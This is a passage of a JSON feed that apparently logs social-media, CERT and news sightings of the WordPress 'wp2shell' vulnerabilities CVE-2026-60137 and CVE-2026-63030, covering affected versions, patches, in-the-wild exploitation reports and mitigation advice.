"https://infosec.exchange/users/decio/statuses/116951475979751457"}, {"timestamp": "2026-07-20T10:00:04.811Z", "date_only": false, "value": "2026-07-20T10:00:04.811066Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94276", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "8ededc2c-cd48-441e-97a3-6e7afe08f4d8", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Crypto-Cat\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-20 08:26:53\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC for CVE-2026-63030 + CVE-2026-60137, AKA WP2Shell\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94276"}, {"timestamp": "2026-07-20T10:01:47.126Z", "date_only": false, "value": "2026-07-20T10:01:47.126718Z", "kind": "sighting", "label": "Seen", "source": "https://social.bund.de/users/bsi/statuses/116951719172634340", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "e96aedba-fb33-4cc2-98f7-b1769ad81f6a", "content": "\u26a0\ufe0f \ud83d\udce2 #Sicherheitswarnung: WordPress \u2013 Schwachstellen erlauben \"Remote Code Execution\"\nAm 17. Juli 2026 wurde seitens #Wordpress eine Aktualisierung bekannt gegeben, die zwei #Schwachstellen in der Wordpress-Software behebt.\n\u2757\ufe0f Die beiden Schwachstellen CVE-2026-60137 und CVE-2026-63030 erm\u00f6glichen einem nicht authentifizierten, entfernten Angreifer Code zur Ausf\u00fchrung zu bringen.\nMehr dazu hier: \ud83d\udc49\ufe0f https://www.bsi.bund.de/dok/1203360", "url": "https://social.bund.de/users/bsi/statuses/116951719172634340"}, {"timestamp": "2026-07-20T10:15:25.146Z", "date_only": false, "value": "2026-07-20T10:15:25.146017Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mr32rnd77l2i", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "79fd2750-f662-4004-83bc-8c9772f34c7a", "content": "Critical WordPress core flaws, CVE-2026-60137 and CVE-2026-63030, can be chained for unauthenticated access, SQL injection, and possible RCE. CERT-AGID reports suspicious API activity and new admin accounts. #WordPress #CERTAGID #Italy", "url": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mr32rnd77l2i"}, {"timestamp": "2026-07-20T11:00:04.039Z", "date_only": false, "value": "2026-07-20T11:00:04.039702Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/information_security_channel/55596", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "ee45ecd6-06ea-4306-9397-30cb5251ea3d", "content": "WP2Shell WordPress Vulnerabilities Exploited in the Wild\nhttps://www.securityweek.com/wp2shell-wordpress-vulnerabilities-exploited-in-the-wild/\n\nExploitation of the new WordPress vulnerabilities tracked as CVE-2026-60137 and CVE-2026-63030 started soon after disclosure.\nThe post WP2Shell WordPress Vulnerabilities Exploited in the Wild (https://www.securityweek.com/wp2shell-wordpress-vulnerabilities-exploited-in-the-wild/) appeared first on SecurityWeek (https://www.securityweek.com/).", "url": "https://t.me/information_security_channel/55596"}, {"timestamp": "2026-07-20T11:00:21.704Z", "date_only": false, "value": "2026-07-20T11:00:21.704541Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mr35bzmuag2m", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "810dfa6f-a200-480d-9f6c-6490f958d07a", "content": "WP2Shell flaws CVE-2026-60137 and CVE-2026-63030 are being exploited in the wild. Chaining them can enable unauthenticated remote code execution on stock WordPress installs. #WordPress #Cloudflare #CVE-2026-60137", "url": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mr35bzmuag2m"}, {"timestamp": "2026-07-20T11:21:31.354Z", "date_only": false, "value": "2026-07-20T11:21:31.354793Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cerberusit.bsky.social/post/3mr36htygq62u", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "3c012c5e-5999-4c4d-b414-3d1830ecf1e6", "content": "Just another Tuesday in the wonderful world of content management, where WP2Shell vulnerabilities CVE-2026-60137 and CVE-2026-63030 are already being actively exploited. This lovely headache affects WordPress site owners who dared to dream of a stable web presence without constan...\n\nRead full story", "url": "https://bsky.app/profile/cerberusit.bsky.social/post/3mr36htygq62u"}, {"timestamp": "2026-07-20T12:00:04.346Z", "date_only": false, "value": "2026-07-20T12:00:04.346211Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94292", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "e9c11c1c-a18c-4c4d-b6b3-8c10d31a3657", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a sxwp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a SentinelXofficial\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-20 10:49:08\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWordPress wp2shell pre-auth RCE exploit kit (CVE-2026-63030 + CVE-2026-60137)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94292"}, {"timestamp": "2026-07-20T12:15:05.772Z", "date_only": false, "value": "2026-07-20T12:15:05.772525Z", "kind": "sighting", "label": "Seen", "source": "https://www.cert.at/de/warnungen/2026/7/kritische-sicherheitslucken-in-wordpress-updates-verfugbar", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "5ae61004-5090-4988-99ee-6d2e738ccb4b", "url": "https://www.cert.at/de/warnungen/2026/7/kritische-sicherheitslucken-in-wordpress-updates-verfugbar"}, {"timestamp": "2026-07-20T13:00:03.947Z", "date_only": false, "value": "2026-07-20T13:00:03.947074Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94301", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "94a9d9e0-1bac-492e-9943-fcc99837a337", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-lab\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a dinosn\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 31  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 8\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-20 09:43:13\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nNon-destructive detector + Docker lab for wp2shell (CVE-2026-63030 REST /batch/v1 route confusion + CVE-2026-60137 author__not_in SQLi) in WordPress core 6.9.0-6.9.4 / 7.0.0-7.0.1\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94301"}, {"timestamp": "2026-07-20T13:48:09.557Z", "date_only": false, "value": "2026-07-20T13:48:09.557017Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/technology-news.bsky.social/post/3mr3go2tdz42r", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "27ac6863-aac9-4323-9909-8b479acb586f", "content": "In-the-wild exploitation seen for the new WP2Shell WordPress vulnerabilities, officially tracked as CVE-2026-60137 and CVE-2026-63030.", "url": "https://bsky.app/profile/technology-news.bsky.social/post/3mr3go2tdz42r"}, {"timestamp": "2026-07-20T14:00:05.432Z", "date_only": false, "value": "2026-07-20T14:00:05.432820Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/true_secator/8423", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "74503465-8d46-41e8-9ccc-a3e686ae85b3", "content": "\u0412 \u043a\u0438\u0431\u0435\u0440\u043f\u043e\u0434\u043f\u043e\u043b\u044c\u0435 \u0440\u0430\u0441\u0448\u0430\u0440\u0438\u043b\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0434\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 wp2shell, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u044f\u0434\u0440\u043e WordPress. \u0412 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 WordPress 6.9.5 \u0438 7.0.2 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0432\u0441\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0430\u0442\u0430\u043a wp2shell.\n\n\u0410\u0442\u0430\u043a\u0430 wp2shell \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u0434\u0432\u0443\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 - CVE-2026-63030 \u0438 CVE-2026-60137, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0434\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430\u0445 WordPress \u0432\u0435\u0440\u0441\u0438\u0439 6.9.x \u0438 7.0.x.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0410\u0434\u0430\u043c\u043e\u043c \u041a\u0443\u044d\u0441\u043e\u043c \u0438\u0437 Searchlight Cyber, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0438\u0445 \u0434\u043b\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 WordPress.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u0443 \u044d\u0442\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u043d\u0435\u0442 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u0439, \u0438 \u043e\u043d\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0432 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 WordPress \u0431\u0435\u0437 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u043f\u043b\u0430\u0433\u0438\u043d\u043e\u0432.\n\n\u041f\u043e \u043e\u0446\u0435\u043d\u043a\u0430\u043c Searchlight Cyber, \u0431\u043e\u043b\u0435\u0435 500 \u043c\u043b\u043d. \u0441\u0430\u0439\u0442\u043e\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 WordPress, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u043e\u0439, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0441\u0435\u0439\u0447\u0430\u0441, \u043a\u043e\u0433\u0434\u0430 \u0431\u044b\u043b\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u044b \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u044b.\n\n\u0412 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 WordPress \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043e\u043a, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u0441 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u043c\u0438 \u0432\u0435\u0440\u0441\u0438\u044f\u043c\u0438, \u0438 \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430\u043c \u0441\u0430\u0439\u0442\u043e\u0432 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c WordPress \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.0.2 \u0438\u043b\u0438 6.9.5.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u0432 \u043e\u0434\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0430 \u0432 \u0434\u0432\u0443\u0445 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u0432 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u041f\u0435\u0440\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, CVE-2026-63030, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0443\u044e \u043a \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0435 \u043f\u0440\u0438 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 REST API, \u043f\u043e\u044f\u0432\u0438\u0432\u0448\u0443\u044e\u0441\u044f \u0432 WordPress 6.9. \u041e\u043d\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u0430 \u0441 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0439 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0438\u0436\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u0412\u0442\u043e\u0440\u0430\u044f CVE-2026-60137 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0432 author__not_in\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 WP_Query. WordPress \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0435\u0451 \u043a\u0430\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0443\u044e WordPress 6.8 \u0438 \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0437\u0434\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f\u043c WordPress, \u0432\u0441\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 WordPress \u0432\u0435\u0440\u0441\u0438\u0439 6.9.0-6.9.4 \u0438 WordPress \u0432\u0435\u0440\u0441\u0438\u0439 7.0.0-7.0.1.\n\nSQL-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 WordPress \u0432\u0435\u0440\u0441\u0438\u0439 6.8.0\u20136.8.5, \u043d\u043e \u0435\u0451 \u043d\u0435\u043b\u044c\u0437\u044f \u0441\u0432\u044f\u0437\u0430\u0442\u044c \u0441 RCE, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u0448\u0438\u0431\u043a\u0430, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0430\u044f \u043a \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u0435 \u043f\u0440\u0438 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 REST API, \u043f\u043e\u044f\u0432\u0438\u043b\u0430\u0441\u044c \u043b\u0438\u0448\u044c \u0432 WordPress 6.9.\n\nSearchlight Cyber \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u043d\u0435 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0430\u0435\u0442 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438, \u0432\u043c\u0435\u0441\u0442\u043e \u044d\u0442\u043e\u0433\u043e \u0441\u043e\u0437\u0434\u0430\u043b\u0430 wp2shell.com, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c, \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u043b\u0438 \u0438\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 WordPress.\n\n\u041e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c, \u043d\u0435 \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443, Searchlight Cyber \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u043b\u0430\u0433\u0438\u043d, \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0449\u0435\u0433\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a REST API \u0438\u043b\u0438 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c /wp-json/batch/v1 \u0438 ?rest_route=/batch/v1 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 WAF.\n\nCloudflare \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0438 \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u043e\u0431\u0435\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e WAF \u043d\u0430 \u0432\u0441\u0435\u0445 \u0442\u0430\u0440\u0438\u0444\u043d\u044b\u0445 \u043f\u043b\u0430\u043d\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 \u0435\u0435 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0443 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u043e\u043a\u0441\u0438-\u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Cloudflare, \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u044e\u0442 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043a\u0430\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0439 (CVE-2026-60137), \u0442\u0430\u043a \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438 REST API (CVE-2026-63030). \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0437\u0430\u0449\u0438\u0442\u0430 WAF \u0441\u043d\u0438\u0436\u0430\u0435\u0442 \u0440\u0438\u0441\u043a\u0438 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043d\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 \u043f\u0430\u0442\u0447\u0435\u0439.", "url": "https://t.me/true_secator/8423"}, {"timestamp": "2026-07-20T14:02:36.993Z", "date_only": false, "value": "2026-07-20T14:02:36.993489Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mr3hhweoa524", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "f6285ae7-8707-4543-ad7e-f6719bff1788", "content": "\ud83d\udee1\ufe0f VULN: WordPress 'wp2shell' pre-auth RCE (CVE-2026-63030 + CVE-2026-60137, chained) now has public exploits targeting 6.9.x/7.0.x. Attackers can run code unauthenticated. If you run WordPress, apply the emergency core patch immediately. Src: BleepingComputer", "url": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mr3hhweoa524"}, {"timestamp": "2026-07-20T14:34:49.648Z", "date_only": false, "value": "2026-07-20T14:34:49.648604Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/anssi-fr.bsky.social/post/3mr3jbd3dns2r", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "9fc83e6f-7c56-4af8-a421-73fd18124272", "content": "\u26a0\ufe0f Vuln\u00e9rabilit\u00e9 WordPress.\n\n\ud83d\udce2 Le CERT-FR a publi\u00e9 une alerte de s\u00e9curit\u00e9 concernant les vuln\u00e9rabilit\u00e9s CVE-2026-60137 et CVE-2026-63030 affectant WordPress.\n\nPlus d'informations sur :\n\u27a1\ufe0f www.cert.ssi.gouv.fr/alerte/CERTF...", "url": "https://bsky.app/profile/anssi-fr.bsky.social/post/3mr3jbd3dns2r"}, {"timestamp": "2026-07-20T15:09:06.003Z", "date_only": false, "value": "2026-07-20T15:09:06.003768Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr3l6so5yk2k", "record": "cve-2026-60137", "field": "creation_timestamp", "uuid": "b306cbf0-6326-4944-b10f-60f3d8f3e099", "content": "\ud83d\udea8 CISA KEV [CVSS 9.8 \u00b7 CRITICAL]\nwp2shell (CVE-2026-63030, CVE-2026-60137): Frequently asked questions about remote code execution chain in WordPress Co\u2026\n\nhttps://www.tenable.com/blog/wp2shell-cve-2026-63030-cve-2026-60137-frequently-asked-questions-about-remote-code-execution\n\n#AISecurity #AI #CISA", "url": "https://bsky.app/profile/aegisbot.bsky.social/post/3mr3l6so5yk2k"}, {"timestamp": "2026-07-20T15:22:12.139Z", "date_only": false, "value": "2026-07-20T15:22:12.139126Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/AAKL/statuses/116952985194975490", "record": "cve-2026-60137", "field": "creation_timestamp", "uuid": 